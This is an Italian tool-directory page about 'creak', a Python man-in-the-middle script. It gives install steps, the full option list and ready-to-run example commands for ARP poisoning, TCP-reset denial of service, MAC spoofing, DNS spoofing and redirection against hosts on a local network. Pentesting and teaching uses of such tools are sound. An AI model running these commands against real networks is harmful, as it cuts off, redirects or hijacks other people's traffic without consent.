Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
creak — Poison, reset, spoof, redirect script MITM | Kitploit
Strumenti/GitHubGitHub/codepr/creak
Sniffing e Analisi dei PacchettiEvasione IDS/IPSSicurezza di RetePenetration TestingRed TeamingAnalisi DNS
GitHubcodepr/creak

creak

Poison, reset, spoof, redirect script MITM

Vedi Repository
128363 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

creak

Esegue alcuni dei più famosi attacchi MITM su indirizzi target situati in una rete locale. Tra questi, negare le capacità di navigazione e download di un host target nella rete locale eseguendo un attacco ARP poison e inviando pacchetti TCP reset a ogni richiesta fatta al router. Nato come progetto didattico per imparare il linguaggio Python, declino ogni responsabilità per qualsiasi abuso, incluso l'uso malevolo o illegale di questo codice.

Installazione

root@kitploit:~
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install

o semplicemente clona il repository ed esegui creak.py dopo aver installato tutti i requisiti:

root@kitploit:~
$ git clone https://github.com/codepr/creak.git

È necessario avere installato le librerie pcap per la manipolazione dei pacchetti raw e il modulo dpkt, per le opzioni di dns spoofing è necessario aver installato il modulo dnet dal pacchetto libdnet, non confonderlo con il modulo pydnet (strumento di valutazione della rete). Può utilizzare anche scapy se desiderato, basta impostarlo nel file config alla sezione [output] > ENGINE.

Opzioni

root@kitploit:~
Usage: creak.py [options] dev

Options:
  -h, --help           show this help message and exit
  -1, --sessions-scan  Sessions scan mode
  -2, --dns-spoof      Dns spoofing
  -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
  -x, --spoof          Spoof mode, generate a fake MAC address to be used
                       during attack
  -m MACADDR           Mac address octet prefix (could be an entire MAC
                       address in the form AA:BB:CC:DD:EE:FF)
  -M MANUFACTURER      Manufacturer of the wireless device, for retrieving a
                       manufactur based prefix for MAC spoof
  -s SOURCE            Source ip address (e.g. a class C address like
                       192.168.1.150) usually the router address
  -t TARGET            Target ip address (e.g. a class C address like
                       192.168.1.150), can be specified multiple times
  -p PORT              Target port to shutdown
  -a HOST              Target host that will be redirect while navigating on
                       target machine
  -r REDIR             Target redirection that will be fetched instead of host
                       on the target machine
  -v, --verbose        Verbose output mode
  -d, --dotted         Dotted output mode

Esempio

Utilizzo più semplice: Nega tutto il traffico all'host target

root@kitploit:~
$ python creak.py -t 192.168.1.30 wlan0

Imposta un gateway diverso:

root@kitploit:~
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0

Imposta un indirizzo mac diverso per il dispositivo:

root@kitploit:~
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0

Spoof dell'indirizzo mac generandone uno falso:

root@kitploit:~
$ python creak.py -x -t 192.168.1.30 wlan0

Spoof dell'indirizzo mac generandone uno basato sul produttore (es. Xeros):

root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0

DNS spoofing usando un indirizzo MAC falso, reindirizzando ab.xy a cd.xz (es. localhost):

root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0

Nega più host nella sottorete:

root@kitploit:~
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0

Changelog

Vedi il file CHANGELOG.

TODO

  • Raggruppamento delle sessioni basato sul carico attivo
  • Supporto completo per Scapy (iniziato)
  • Sessione hijacking (iniziato)
  • Porting a un micro-framework con architettura a plugin (75% completato)

Licenza

Vedi il file LICENSE per i diritti e le limitazioni della licenza (GNU v3).

Scarica lo strumento